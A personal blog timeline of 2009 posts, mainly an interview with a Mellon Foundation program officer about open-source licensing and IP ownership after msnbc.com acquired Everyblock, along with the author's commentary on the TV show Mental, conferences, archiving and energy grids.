Jonah's personal timeline, a place to collect and share things from Jonah's life.
Created by jonahboss on Oct 4, 2008
Last updated: 03/10/10 at 09:12 PM
Jonah B. has no followers yet. Be the first one to follow.
Last week I reflected on the Everyblock.com acquisition. Since then, Knight's journalism program director has blogged about their perspective on the sale, and some great conversations have continued. I have also had a wonderful opportunity to discuss the purchase with Christopher Mackie, a program officer at the Mellon Foundation. Chris is the Associate Program Officer in the Research in Information Technology program and is closely involved in Mellon-funded software initiatives.
Here are some excerpts from our conversation:
JB: Thanks so much for taking the time to share some of your thoughts on the recent purchase of Everyblock. As you know, Everyblock is a foundation sponsored, open-source journalism startup that was recently acquired by msnbc.com. Even though the Knight Foundation mandated that all the software they funded was released under an open (GPLv3) license, the future openness of this application is now uncertain. As an important funder of many valuable open source software projects I am wondering if you could share your reactions to this news? How do you feel about the outcome? Did the deal take you by surprise?
CM: Hi Jonah – good to talk with you! Before we start, let me be clear about a couple of things. First, I don't speak for the Mellon Foundation on this, so all I can share are my own views. Second, I'm by no means the most knowledgeable person around when it comes to intellectual property issues. In fact, I can find several people who know more than I do without even leaving the building at Mellon. What I do have is a particular perspective on IP issues that has been developed in large part from my work with our information technology program. I hope that my perspective is useful, but I wouldn't want anyone confusing it with either an official Mellon perspective or some sort of consensus view among experts. As far as I can tell, consensus only exists among IP experts on issues that no one cares about.
That said, as I follow the conversation, what appears to be happening with Everyblock is that a number of people are seeing for the first time some issues that have been seen before in other parts of the software space. In the process of thinking through the implications of those developments, they're reinventing old arguments, most of which are insufficiently nuanced to be valid. Eventually, they'll work it out, but right now, many people are still looking for too-simplistic answers.
JB: This moment is such a great learning opportunity to teach grantmakers and journalists some really important lessons about Intellectual Property, and the complexities of Open Source software, community, and culture - is there anything specific you think we can learn from this transaction?
CM: Rather than try to parse the many issues individually, let me just suggest a couple of basic principles that I use when I'm trying to advise projects on licensing issues:
First, "the context is more important than the license." The debate over BSD/GPL tends to take place at a very abstract, ideological level. This is the wrong level: when it comes to licensing, I believe that you really need to get down and grub in the dirt. Licensing decisions are almost always made better when they're made in a carefully contextualized fashion.
The single most important contextual dimension I know concerns the "organizational complexity" of the product. That's my own, made-up term to describe the need to integrate your project with other organizational systems, human and software. Organizationally complex software requires significant adaptation or customization in most installations – which implies the need for significant vendor involvement in many installations. A good example of an organizationally complex system is something like a financial system, which tends to have to connect to all sorts of other software and to interact with all sorts of human workflows. Good examples of organizationally simple software are things like a Web browser or a word processor, which ought to work out-of-the-box without any customization or integration.
If you have an organizationally complex product, BSD licenses tend to work better than GPL. Why? BSD licenses don't scare off the vendors who have to poke around the insides of the product in order to support it, and who worry that their private IP may be compromised by an accidental contact with a GPL'd product's innards. I've seen the arguments about whether this is actually a valid concern, by the way, and I'm not particularly invested in learning the right answer, if there even is one. As long as vendors believe or fear it to be true – and many do – then it might as well be true. Without vendors, it's hard for an organizationally complex project to thrive, so BSD tends to win out in those sorts of projects.
A second dimension concerns the degree of "market power" held by the users. Market power depends on the ability of users to recognize themselves as having shared interests and then to act on those shared interests. A user community that has market power can issue a credible threat to punish a misbehaving vendor; one lacking market power, cannot. This often isn't a simple determination; for instance, consider Mozilla. At the core of the Mozilla community, as with most open source communities, is an intense, dedicated group that sees itself as having shared interests and clearly has the will to punish someone who attempts to misuse the Mozilla IP. But do they have the ability? After all, they're only a tiny fraction of all Mozilla users. The rest are a widely distributed, diffuse group that would never imagine themselves as having much in the way of common purpose, beyond the desire to have a free Web browser. Which constituency matters more in calculating market power? It almost certainly depends on the context.
Some people object to the phrase "market power," preferring terms like "strength of community" or "trust." I'm not too worried about what one calls it, but I will say this: once you get past the rhetoric, it mostly boils down to the community's ability to deliver a credible threat to punish a malfeasant vendor. If the user community ceases to value the project enough to want to defend it against vendor malfeasance, or ceases to be able to act together effectively to deliver that defense, then, however much they value the project individually, it is unlikely to stay open no matter the license.
There are other dimensions to think about, too; for instance, a project having multiple vendors is safer than one with only a single vendor, or none, because non-colluding vendors tend to act in ways that keep each other well-behaved. But those are the biggest two, in my experience so far.
Earlier, you brought up the Sakai and OpenCast projects, both of which have been funded by us (and by other foundations, such as the William and Flora Hewlett Foundation, as well). I believe that these two characteristics are why Sakai and OpenCast, as well as other community source projects, are able to use BSD-style licenses (they actually use the Educational Community License, or ECL, which is almost-but-not-quite the Apache license). Community source software projects produce organizationally complex products deployed by a coherent community of institutions willing and able to exercise market power if needed. For instance, the community of higher education institutions seems to have no trouble understanding their common interest in keeping Sakai's IP open, even if they're not Sakai users themselves--and as a group, they seem to have the will and ability to punish vendors that attempt to misbehave. Most vendors sell more than one product into these institutions, so they stand to lose more than they can gain from bad behavior on any single project like Sakai. The result: there is virtually no evidence of significant vendor malfeasance in any of the community source projects, despite the use of a license that in theory allows any vendor to close the code at any time. The closest you can find is the Blackboard patent dispute—which is a challenge to the ownership of the IP, not its licensing, and in which Blackboard has been careful to steer clear of any direct threat to the Sakai community. But would every vendor’s good behavior continue if the community stopped caring about Sakai? I seriously doubt it.
On the other hand, if you have a product which is organizationally simple, as well as having a relatively powerless user community, then get thee to the GPL, because the temptations to steal and close the code just become too great for some vendors to resist. We've seen some examples of that, recently, too. Still, don't believe that the GPL will protect you if your community cannot or will not. If the community is weak enough, nothing can really protect you.
Second, "IP ownership trumps IP licensing." Some of the commentators on Everyblock that I have read so far are circling around this point, but none has yet followed the logic all the way. All the debate over licensing tends to obscure the reality that final power lies in ownership, not licensing. For a surprising number of situations, licensing is little more than a red herring.
If I own the code, I can issue you a GPL, someone else a BSD, and yet another license to a third party--take a look at the Mozilla licensing scheme sometime, for an example. If I'm also responsible for updating the code, I can change the license to all of you at any time simply by issuing a new version. Sure, you can still use the old version under the old license, but if I really want to make it tough for you to keep using the old version, there are ways. Finally, as you're seeing with Everyblock, when someone owns the code privately, there's nothing that prevents someone else from buying the code – often by buying the firm itself – and changing the licensing terms.
I have no insight into MSNBC's plans for Everyblock. Maybe they'll close the code; maybe not. Maybe they'll keep something open but close the commercial services they build on top of it – I don't know. As your commentators have noted, no one seems to know – and that's part of the problem with privately owned but open-licensed code. You just never know.
That's one reason why I tend to be wary about the "commercial OSS" model, no matter what license it uses. In many commercial OSS projects that I've seen, even the GPL is effectively just a cover for what is to all intents and purposes a closed code-base, because the owner/vendor is the only entity on earth that has any realistic likelihood of supporting or extending or developing the code further. Ask someone in the MySQL community how protected they feel by their license – or ask the people using Zimbra how they expected to fare if Microsoft bought Yahoo. It's not about whether the current owner is good, bad, or ugly; it's about the fact that you can never know whether it will be the same owner tomorrow. That's a lot of uncertainty on which to base a mission-critical technology choice.
JB: So, given the diverse range of contexts you describe, what specific strategies have you deployed to mitigate these risks?
CM: Good question – and it's important to emphasize the word "mitigate," because there are no guarantees and there’s no such thing as absolute effectiveness. One thing we do in our program is to use IP agreements (a contract with the owner of the code to be developed) that require any transfer of ownership to be to an entity which must also agree to the terms of our IP agreement. In a sense, we make the ownership viral, whether or not the license is viral. That's not a perfect solution, but it appears to be working for us so far.
It also helps that we make our grants to non-profit organizations, which can't be bought the same way you can buy a private or publicly held firm. When for-profits are involved in our grants, which sometimes happens when grantees decide to contract with for-profit developers, my program (Mellon’s Program in Research in Information Technology) has always required that the non-profit be the IP owner. We are not alone in this; for instance, when several major technology corporations—all for-profits—decided to share and protect some of their own intellectual property in an open environment, they didn’t trust it to a for-profit, but instead created the Eclipse Foundation, a non-profit that owns the Eclipse Project IP. Ditto the Mozilla Foundation.
Still, it bears repeating that just putting your IP into a non-profit mindlessly doesn't eliminate the risk, because it matters how the non-profit is structured and governed: nothing says a non-profit can't be malfeasant, too, if in somewhat different ways.
JB: Do you think that the Knight Foundation was swindled? Did they get outfoxed by msnbc.com, or do you think they are happy with this outcome?
CM: I have no knowledge about what the Knight Foundation intended – has anybody bothered to ask them? [ed note: this conversation took place before Knight made a public statement] I think it would be foolish simply to assume that the grant makers have been outfoxed by this development: it may have been exactly what they wanted, or just a risk they decided beforehand that it was worthwhile to run. Keep in mind, too, that MSNBC hasn't said or done anything about closing the code so far. Even if the Knight Foundation did want perpetual openness and the strategy wasn't perfect, there's still a chance that they'll get what they wanted.
All that's really happened here is that the sense of security held by at least some members of the Everyblock community has been shaken by the purchase news. But it was always a false sense of security; at this moment, as far as I can tell, nothing objective about the openness of the project has actually changed.
JB: Do you have any closing thoughts about this deal, or what you think grantmakers and open source advocates can learn from it?
CM: If Everyblock serves to help some members of the openness community to get past their ideological blinders and recognize that IP ownership and licensing decisions are subtle challenges with relatively few simple, definitive answers, it will have done some good. After all, even the best source code is relatively ephemeral, but we can hope that such wisdom will last forever.
JB: Thanks so much for your time and wisdom. I know alot of people who were quite surprised by this turn of events, and it feels like we all need a crash course in IP law /and/ sociology to navigate the intricacies of this political economy. Even veteran lawyers and free software evangelists are often confused by many of these complexities. I really hope that this case and your analysis will better inform future work of this type. Good luck keeping it open (and real)!
CM: Thanks very much. I hope what I had to say is useful.
http://alchemicalmusings.org/2009/08/25/interview-christopher-mackie-on-knights-hyperlocal-gambit/
This season Fox premiered a new television series called Mental (this post has nothing to do w/ AMC's fabulous Mad Men):
a medical mystery drama featuring Dr. Jack Gallagher, a radically unorthodox psychiatrist who becomes Director of Mental Health Services at a Los Angeles hospital where he takes on patients battling unknown, misunderstood and often misdiagnosed psychiatric conditions. Dr. Gallagher delves inside their minds to gain a true understanding of who his patients are, allowing him to uncover what might be the key to their long-term recovery.
The show's format (very) closely resembles the hit TV show House, except that Mental is set in a nuthouse. The show has received lukewarm reviews and mediocre ratings, but very well might get renewed. Mental health consumer advocates like (pharma funded) NAMI have not reached a consensus on how to respond to these pop culture representations, and even the some of the radical Icarus Project's membership were (initially) impressed by the show's message.
While this show might seem innocuous, it really deserves a careful, critical analysis. We seem to be approaching a turning point in perceptions around altered states, as powerful marketing forces are hard at work working to remove the stigma around mental "illness". Brittany Spears was the unpaid celebrity spokesperson for the normlization of psychiatric crises, but Glenn Close will soon be leading up the BringChange2Mind campaign. Don't get me wrong — removing stigma is generally a good thing, but if the stigma is removed in order to increase the legitimacy of pharmaceutical treatments, the message (and outcome) is mixed. We are all dying, sick and crazy.
I am reminded of a fantastic book I read last year called Freaks Talk Back: Tabloid Talk Shows and Sexual Nonconformity. In this work, Joshua Gameson examines hundreds of hours of trashy talk show footage from the 80's and 90's - Ricki Lake, Montell Williams, Phil Donaue, Jerry Springer, the works. During the period examined, LGBT guests were featured regularly on these shows, amongst some of the first representations of gay people in mainstream popular culture.
Gameson closely studies the controversy around these appearances. On the one hand, the guests were not always portrayed in the best light (to put it mildly). These shows thrived on sensational confrontations and humiliating storylines. On the other hand, alternative lifestyles were being featured and discussed on national television, and beamed into living rooms across the country. Is there ever such a thing as bad media?
What Gameson teases out of his exhaustive study are the subtle underlying ideologies these encounters embody. While homosexuals were often defended by the talk show audiences, trans and bi guests were often vilified. He makes a convincing case that these shows endorsed monogamy and static identities, but were decisively hostile towards alternative lifestyles and choices that veered from these mainstream values.
Our critical "Mental" challenge is all about trying to tease out the underlying ideologies and unquestioned assumptions that permeate the storylines in this series. On the face of it, Mental offers a diverse range of voices and perspectives — from financially-motivated hospital administrator, to the confrontational interns, to the purportedly radical director - Mental gives watchers the impression that the mainstream is being represented, and challenged.
Consider Dr. Galleger's establishing introduction:
He certainly seems like an alternative psychiatrist, who will do anything to help his patients. He even goes on to insist that patients participate in the staff meetings:
... a device that disappears immediately after its introduction. It doesn't even come up in later meetings in this pilot, never mind later in the series. Here is the next meeting, where the shows truer colors begin to shine through - Drugs for life, no hope of a cure, and the problem lies with pharmas old drugs, like Haldol, but their new miracle treatments are a panacea:
The rubber really hits the road in S01E04 (Manic at the Disco) — about a young boy named Conner who is eventually diagnosed with pediatric bipolar.
The attending staff discuss Conner's case and authoritatively toss around dozens of diagnoses, never questioning the legitimacy of pediatric bipolar — a diagnoses that is currently hotly debated, and does not (yet) even exist in the DSM!
"There is no cure, as such"
and of course, "you can't ignore the symptoms."
The decisive "evidence" of a broken brain was a brain scan - a technique which is highly controversial, profiled in the Frontline investigative piece The Medicated Child.
So much for alternative psychiatry.
Don't get me wrong, I am in favor of treating people instead of bodies, but the psychiatrists on Mental still treat brains instead of minds.
I'm not sure if this kind of publicity is fooling anyone, but I am afraid it is. As folks like smartmeme describe, narratives are often far more persuasive than stats, facts, or logic.
We need to keep a close watch on shows and campaigns like these, that implicitly establish a baseline acceptance of disorders and treatments when there are vibrant alternatives to consider. People cannot make informed choices about their mental health if the questions they are deciding are deceptively framed. Mental is far more insidious than its seemingly innocuous plotlines and banal characters suggest.
[For more critical clips from Mental S01E01 and S01E04 see GenericPrescriptions].
http://alchemicalmusings.org/2009/08/23/mad-men-women-and-children/
This season Fox premiered a new television series called Mental:
a medical mystery drama featuring Dr. Jack Gallagher, a radically unorthodox psychiatrist who becomes Director of Mental Health Services at a Los Angeles hospital where he takes on patients battling unknown, misunderstood and often misdiagnosed psychiatric conditions. Dr. Gallagher delves inside their minds to gain a true understanding of who his patients are, allowing him to uncover what might be the key to their long-term recovery.
The show's format (very) closely resembles the hit tv show House, except that Mental is set in a nuthouse. The show has received lukewarm reviews and mediocre ratings, but very well might get renewed. Mental health consumer advocates like (pharma funded) NAMI have not reached a consensus on how to respond to these pop culture representations , and even the some radical Icarus members were (initially) impressed by the show's message.
While this show might seem innocuous, it really deserves a careful, critical analysis. We seem to be approaching a turning point in perceptions around altered states, as powerful marketing forces are hard at work working to remove the stigma around mental "illness". Brittany Spears was the unpaid celebrity spokesperson for the normlization of crisis, but Glenn Close will soon be leading up the BringChange2Mind campaign. Don't get me wrong - removing stigma is generally a good thing, but if the stigma is removed in order to increase the legitimacy of pharmaceutical treatments the message (and outcome) is mixed. We are all dying, sick and crazy.
I am reminded of a fantastic book I read last year called Freaks Talk Back: Tabloid Talk Shows and Sexual Nonconformity. In Freaks, Joshua Gameson examines hundreds of hours of trashy talk show footage from the 80's and 90's - think Ricki Lake, Montell, Phil Donaue, Jerry Springer, the works. During the period he studies, LGBT guests were featured regularly on these shows, amongst some of the first representations of gay people in mainstream popular culture. Gameson discusses the controversy around these appearances. On the one hand, the guests were not always portrayed in the best light (to put it mildly). These shows thrived on sensational confrontations and trashy storylines. On the other hand, alternative lifestyles were being featured and discussed on national television, and being beamed into living rooms across the country. Is there ever such a thing as bad media?
http://alchemicalmusings.org/?p=380
Heh. I enjoy a nice long weekend off, and a few of my worlds collided while I was away...
This weekend msnbc.com snatched up the Knight Foundation funded everyblock.com project, and now a bunch of people I know - from journalism, free software, law, and software development are all talking about the ethics and implications of choosing different Free/Open Source licenses for grant funded projects and experiments in sustainable journalism ;-)
The Knight Foundation has been funding innovation in technology and journalism for a few years, and lately has been mandating open licenses for all the code and content they sponsor. Knight is not alone. Mellon, Hewlitt, OSI, NSF, NIH, and other grantmakers have all begun to encourage that the IP they fund be as open as possible (to varying degrees). Seems obvious. If you want to maximize your philanthropic ROI, make sure that the future can extract the full potential of the work you fund - not be shackled, stifled, or duped by the misapplication of intellectual property.
I continue to be hopeful that pressure from funders might represent a tipping point for openness. Many organizations need bunches of carrots to overcome their knee-jerk institutional momentum to horde - even if sharing costs them nothing (in dollars, labor, or resources, although sometimes transparency can take its toll on egos).
But is all openness created equal? No way am I going to attempt to recreate the great BSD-GPL wars in this post, but I will say that it stings every time I hear someone accuse the GPL of being viral (are vaccines viral?). I also wince every time I see a vibrant open source community make an argument against the GPL - I have seen this happen around Sakai, OpenCast, and even lately around around Plone and its plugins.
[From my perspective, its the purportedly unencumbered communities that are really viral, as they continue to ratchet down GPL communities to lowest common denominator licenses, by whining about how they can't use GPL code (which they can, provided they share-alike). But don't take my word for it - ask Zed why he (A/L)GPLs.]
To me, first and foremost, the GPL signals trust. As I understand it, this legal instrument has helped enable institutions and individuals, large and small, to trust each other, without fear of being stabbed in the back or being taken for a sucker. In the end, the GPL is just a license, and while it has been increasingly taken more seriously, enforcement is never fun (except for lawyers, I guess).
Eben Moglen is the founder of the The Software Freedom Law Center and also the author of GPL, but their firm can't officially shill for the GPL. They care enough about freedom to continue to help any open software communities in need, but I sometimes wonder how they manage to bite their tongues and not scream We told you so or We warned you. Some of these same communities who have scorned the GPL have had to turn to the SFLC to bail them out when they got attacked by patent sharks. Perhaps the Everyblock story will serve as a cautionary tale, and people will learn to start taking the SFLC's legal advice seriously. I believe that history will show that it was the GPL that ultimately averted Microsoft's monopoly - no license could have accomplished this without the boundless energy and will of the open source developers, but the GPL was the pentagram restraining a very bad actor.
But not everyone sees the world this way, and there are other valid perspectives. In conversations I have had with Jacob Kaplan-Moss (who co-founded Django, alongside Everyblock's Adrian Holovaty) Jacob voiced a strong conviction that transparency, openness, and sharing are better ways to develop software, and that those values ought/need not be legally mandated. He prefers to participate in a community where those values are understood and shared. Some might call his perspective slightly naive (while others might trace some of these attitudes to the roots of Django and the proprietary journalistic corporation that birthed it), but James Vasile makes a very similar point:
It might be disappointing that MSNBC.com can close-source Everyblock, but we still have the code. If the code is valuable to the community, we can take the last published version and use it as we want. If MSNBC.com trades a healthy free software project for a proprietary development cycle, we’ve lost nothing, and MSNBC.com has thrown away the most important asset they had– the community behind and around the code.
As for the future of Everyblock, I am am still hopeful that rationality will prevail. Everyblock runs on an incredibly sophisticated stack of open software - python, postgres (with GIS extensions), django (or something very, very similar), and msnbc.com will not get very far with this software without engaging these communities. In the 21st century, owning code is a liability, not an asset. Sure, they can try to leech and poison the well, but they will meet with pretty staunch resistance - trouble hiring programmers, getting their patches accepted, maintaining and upgrading - good luck going it alone. They will end up with the IE of hyperlocal news websites.
I also don't think it's necessarily evil for a corporation to participate in this ecology, or for funders to seed new user interfaces or patterns, and then hand off the innovation to capital. Sustainability is really quite complicated, especially was we embark on hybrid economies. And on the open side, it can be difficult for funders to keep software honest.
If Everyblock has a real value right now, its in the relationships they have forged with the data providers, and the effort they put into scraping and formatting this data. What we want from them now isn't just an open platform, its also open apis, to get at the data they are collecting and harvesting. Code is only one corner freedom's jigsaw puzzle. Never forget about the data. And, I am not really sure what Knight could have done to better protect the future openness or integrity of that data.
http://alchemicalmusings.org/2009/08/19/freedom-of-the-hyperlocal-press/
On last weekend's visit to the Shivananda ashram I chanted away life's worries while imagining an elephant effortlessly clearing obstacles from its path.
Om gam ganapataye namaha! [*]
The elephants returned this weekend on my visit to Boston. I spent a wonderful afternoon biking around the city, inhaling the streets, waterways, and parks and internalizing its expanse. I visited the ICA, a great new museum designed by the same crew that just finished New York's great new High Line park. The main attraction at the ICA was the Shepard Fairey exhibit, but I was much more drawn to the "Acting Out: Social Experiments in Video"
Does contemporary art have any visible social impact? Film is a way to intervene, fight for something, inform, educate, update knowledge, tell fairy tales, persuade, call attention to problems, critical junctures, etc. [*]
There were only a few video installations, but there was one in particular that really stuck with me for its simplicity and brilliance. Javier Téllez’s Letter on the Blind For the Use of Those Who See (it premiered at the Whitney Biennial '08, but I missed it) is a reenactment of the ancient parable of the 6 blind wise men and the elephant (various sources).
The parable is a classic, and I even recently encountered a free-software remix - Six Tuxes and the Elephant. But I was really moved by the personal and philosophical perspectives that Tellez's film captures. When you actually situate real humans into a living context, something amazing happens. Their subjectivities spring to life as the magnificent Elephant animates their fears and desires. Most of them had never before touched an elephant (ha!), and the encounter evokes vivid visceral reactions from everybody involved (audience included).
The reintroduction of subjectivity into our theories of everything is a project that will likely extend beyond this century, even if we survive it. This film manages to capture the central themes I encountered in Disabilities Studies, and how obnoxious it is rely on these coarse, crude metaphors without vividly imagining their underlying reality. It also highlights the myopia of cleaving objective reality from subjective experience.
A reviewer at the Boston Globe shared my enthusiasm for this piece, and their story describes the film in more detail that I do here. Hopefully we can arrange to screen this doc sometime at DisThis...
http://alchemicalmusings.org/2009/07/26/the-remover-of-obstacles/
I have to thank my friend and colleague Clayfox for comparing (positively) the vibe at this weekend's fabulous Open Video Conference to High School. The optimism, diversity, and composition of the crowd was really inspiring.
In some ways, this conference might as well have been called the "Independent Media" conference, but of course, if it was, the right people wouldn't have attended. Somehow they managed to attract people involved with every layer of the stack needed to create independent media. Subcultures representing hardware, html5, metadata, content, law, production, funders and more were all represented.
To make independent new media, you either need to understand all of these details, or know someone who does. I don't think I have ever been in a room with this particular blend of expertise and interests before.
The networking was great, and my office was closely involved in making the education stuff at this conference happen (I have a great job). At the conference we announced the liberation of a great piece of software - VITAL is free! Run, VITAL, Run.
The highlight of the talks had to be Amy Goodman's inspiring speech. I had seen her introduce Chomsky last week, and was left a little bummed out by his talk since it was blow after blow of what's broken in the world, with very little vision, and no call to action. You don't hear too many female preachers, but Goodman has really mastered an hypnotic cadence - speeding up to fit in alot of ideas, but slowing down for emphasis. Her soundbytes are eminently tweetable (twitter essentially replaced irc at this conference, and there was an incredibly active backchannel around the #openvideo tag/frequency/channel).
Benkler also opened with fresh material - he has clearly been thinking about journalism in the wake of this year's collapses (and maybe even our CDPC conference?). It is amusing to think that between Benkler and Moglen (and his metaphorical corollary to Faraday's law), it might be the sociologically-inclined lawyers who arrive at a theory of creativity (instead of the cognitive scientists). And Zittrain covered for the missing Clay Shirky, and pulled of a funny and intelligent talk.
Many other highlights which I hope to curate once the video is all posted and I have a chance to decompress. I know I should have gone to more talks that I didn't belong at, but I kept getting pulled in to great conversations...
Kudos to the organizers for pulling off a small miracle. I've been to many conferences that cost hundreds of dollars to attend, and don't even offer lunch. They managed to pull off a beautiful space, food, and even video djs and an open bar.
I wonder to what degree freeculture's networked proximity to techies and lawyers simplifies some of the logistical nightmares that often plague organizers. It just sems like they are able to organize with relative ease, as the communications media and social capital are intuitive and readily available. Good thing for everyone they are using their super-powers for the greater good ;-)
In terms of the longer term, they were consciously trying to create something bigger than a one time event. I was impressed at the purposeful scaffolding of the infrastructure meant to sustain this conversation now that conference is over. Many gatherings only figure out at the event that they want to keep talking afterwards. THe OVC crew did a great job of setting up, and using a wiki, and some sensibly divided mailing lists to seed a healthy after-party.
http://alchemicalmusings.org/2009/06/24/ov-high/
Well, its been 2 months since I participated in MIT's Media in Transition (MiT6), but the event is still vividly fresh in my mind.
The conference was really amazing. It attracted a really diverse mix of theorists and practitioners, academics and professionals, and folks from many walks of life. This conference I tried to go to talks where I "didn't belong" - hoping to learn from disciplines I don't regularly encounter. It was a great strategy, as I often gravitate towards talks that I know something about, wanting to hear the presenter's take on it, but venturing beyond my usual horizons was much more fun.
Aram Sinnreich and I presented a paper on Strategic Agency in an Age of Limitless Information (abstract, slides), and I am really happy with how things turned out. Hopefully, we'll work on polishing this paper up to submit to a journal soon, though I don't really know where we should submit yet.
The videos for the main plenary events are now up and I am looking forward to clipping the little hand grenades I remember throwing during Q&A.
This panel on Archives and History (my question starts @ 1:35:15) wasn't the only conversation about archiving, but it was fairly representative of the perspectives. It's too bad MIT World does not provide me with a mechanism to address a point of time in their videos (like our recently liberated VITAL tool allows), so you'll have to advance the playhead manually to hear me out. It's basically a riff on - Why Archive? - The beauty of the Sand Mandala and the effort required to actually delete something....
The conversations were very similar to some that we had back in May '07 at the Open Content conference, but not I think I can finally articulate what's been bugging me about these conversations. With the help of Ben and John Durham Peters (we shared a bus ride to/from the conf), I realized that archiving can be thought about as a transmission, for anyone, into the future.
I also realized that ordinarily, when we look to the past, we use history to help us understand ourselves better. The presumption that future generations will actually care about us for our own sake, strikes me as narcissistic (narcissism and new media has surfaced on this blog before). I imagine they will want to use the messages that we send them to help themselves, understand themselves better. So, to archive purposefully the question becomes - how can we best help the future?
To the archivists who claim we don't have any idea what questions the future will be asking, so we better save it all - I think I know what the future will be trying to understand about us. They will likely be trying to figure out what on earth was distracting us while we let the planet die! We were busy devoting our resources to saving every last copy of American Idol and Big Brother while Gia screamed in agony for help.
So, how can we increase the signal-to-noise ration of the messages we send into the future? Without somehow reducing the message to the critically problematic golden record on the voyager spaceship, or its successors? I guess the Long Now Foundation is thinking along these lines, and I have always envied David Vakoch's job title (Director of Interstellar Message Composition)... The conference helped me realize that Vakoch and the Long Now have a really similar task - but I don't know how many archivists conceive of their task as Intergenerational Message Composition.
Perhaps we need to spend even more time curating? Indicating in our archives why we think they were worth saving? And what's the most important message we can send into the future? Not like it matters much longer, as I really do believe we are embarking on The End of Forgetting (see our conf paper for more details).
Shifting frames for a moment, what if the ancients had a really important message to send us? Their Theory of Everything, or the equivalent of E=MC^2. How would they have attempted to transmit it?
When I discussed these ideas w/ my friend Rasmus he recommended I start up a consulting firm specializing in Future Relations. ;-)
http://alchemicalmusings.org/2009/06/23/faiths-transmission/
What happens when the Swine Virus breeds with the Avian Flu?
Pigs Fly, of course. Welcome to the end of time. I'm off to collect a few debts.
This latest data point is the most recent in a string of bizarre crimes that I have been tracking in my capacity as a double agent (in the Kierkegaardian sense).
Consider these events from last year's news:
The Aqua Teen Hunger Force Mooninite Bomb Scare in Boston
The Rat poison in the Cat and Dog Food triggering an FDA recall (it only affected wet food)
And, the E-Coli in the Spinach resulting in CNN journalists looking directly into the camera and instructing kids not to eat their green leafy vegetables.
Given everything I know about reality, there is only one man who is sinister and brilliant enough to execute this sequence of terrorist punchlines...
Good riddance to the age of Biblical Myth. Welcome to the Age of Marvel and DC.
Now, if only I could figure out which organization this intentionality emerged from.
http://alchemicalmusings.org/2009/05/09/connecting-the-dots/
This past weekend I took part in an exciting panel on internet labor at the Left Forum, but the highlight of the weekend was serendipitous. I attended a salon hosted by Reality Sandwich:
Electrical energy is political energy is personal energy is metaphysical energy: A discussion on technological tools and political policy for opportunities of human freedom and evolution.
While I am usually open to edgy ideas, and am quite comfortable entertaining (and sometimes visiting) alternate realities, I certainly wasn't expecting the treat I encountered. Ryan Wartana orchestrated an amazing experience, successfully interweaving the metaphors of energy and power through the lenses of the physical, personal, political, and metaphysical.
Ryan has PhD in chemical engineering and has been researching and working with nanotechnology and batteries for over a decade. Professionally, he is the CTO for the alternative energy startup iCel Systems and is quite committed to alternative renewable energy solutions. He was on the East Coast participating in conference in DC on Advanced Battery Manufacturing, and swung through NYC to connect with other segments of his network.
To give you a sense of the atmosphere, Ryan spoke against the backdrop of a revolving slideshow of sacred geometry (which I have studied also), whose forms and principles have inspired many of his artistic/scientific inquiries and designs. He has worked with researchers growing self-repeating and self-replicating nanostructures, and it soon became clear how inhabiting this domain influenced his thinking. Some large problems can be effectively broken into tiny parts, but it can be difficult to imagine how to practice this w/out radically adjusting our perspective.
I left the lecture with a much clearer vision of what an intelligent energy grid, or an "internet of energy" is all about. Basically, the current energy grid is unidirectional, and on-demand. It is a centralized distribution system, much like last century's mass broadcast media. If we distribute a dollop of storage and intelligence to the network, many amazing possibilities emerge. The analogy with integrated circuits was quite provocative - our current grid is like a circuit board w/out any capacitors on it. iCel and companies like them are trying to become the Cisco of the Energy platform, and create integrated energy systems. So, individuals could draw power when its inexpensive (at night) and produce power and return it to the grid, or even to their peers - bittorrent style.
The power of distributed networks to improve redundancy and resilience, and reclaim lost bandwidth and capacity is well known in information technology and network theory. Google has even been distributing their physical power storage in their servers. But the possibilities Ryan illuminated intuitively clicked for me - and I trusted his vision, even though he is in the battery business ;-)
These distributed energy systems are vital, and starting to happen. I wondered about connections with the electric car venture - Beter Place. Their system is immensely promising, but riddled with uncertainty. Will their hardware interoperate with other power providers, or will people be locked in? Will their customers be better off relying on a centralized transportation provider, instead of remaining independent and relatively autonomous? What there be provisions to mitigate the surveillance threats their network poses? When you mash good batteries up with Better Place (with a bit of peer-to-peer pressure), many of these problems melt away.
We also talked alot about the importance of energy awareness, giving way to energy responsibility, leading to energy intentionality. These ideas actually had alot to do with my presentation at the Left Forum, which are hinted at in my take on Free Energy.
The talk left me invigorated and hopeful. NYU's ITP has had some great projects on energy awareness, and there is even a prof at Columbia who wants to rig up a dorm with energy monitoring. And, some of our work at CCNMTL with the Earth Institute and the Millenium Villages might benefit from these insights and connections as well.
I attended the Reality Sandwich event hoping that a dose of creative consciousness expansion would offset the heaviness of struggle at the Left Forum. What a refreshing contrast to feeling trapped inside an inescapable system. We can imagine our way free.
Banish the word struggle from your attitude and your vocabulary. All that we do now must be done in a sacred manner and in celebration. "We are the ones we've been waiting for." -- Hopi Elder
http://alchemicalmusings.org/2009/04/20/intentional-energy/
At the beginning of the semester I shopped a class offered in the Columbia CS Dept on mobile computing. Sadly, I didn't have time to take the class this semester, but I suppose I can follow along Standford's version free of charge.
Prof. Nieh was personable, animated, and bright, but the first day of class made me realize the impact CCNMTL has had on me. I doubt I would have made these observations/connections as an undergrad.
First, I was a bit sad that the curriculum did not include even a spoonful of social/cultural context. The only books on the reading list were SDKs. A little Rhiengold, Shirky, or Zittrain, judiciously applied, could go a long way.
Second, Nieh announced that the entire semester would be organized around projects. That's a great way to learn, but he also imagined a competition, with the possibility of a venture capitalist evaluating the projects at the end of the semester.
Now, although I am presenting at the Left Forum this weekend, I have nothing against turning a profit (after all, I'm an Alchemist). But, would it really be too heavy handed to require that students at the university organize their production around the Public Good (and maybe become mobily active)? What about the needs of the university? Or even, an Open Source project? 60-80 Columbia CS students (w/ some Masters students) - that's alot of creative labor power. And, there is a dire need for applications like this, around the world, and across campus (SIPA, The Earth Institute, Teachers College, the J-School, the libraries are all groups on campus that are investigating mobile apps).
Even if students are required to create something for the public good, at least giving them that option might expose them to a possibility they hadn't considered. To Prof. Nieh's credit, he invited me to submit an application idea to the class forum, though I am not sure if any of the students actually followed up on these suggestions.
As I wrote in my email, while VC's won't likely chase the students down to invest in these kinds of apps, they might be surprised by the overlapping technical requirements across sectors. And foundations are definitely very interested in innovations in this area right now too.
I am under no delusion that most undergrads could actually complete a useful application in a semester, but a few might. And the opportunity to make a hyper-local useful application (find a book in the library stacks, anyone?) seems promising. And its getting so easy.
http://alchemicalmusings.org/2009/04/15/mobile-student-labor/
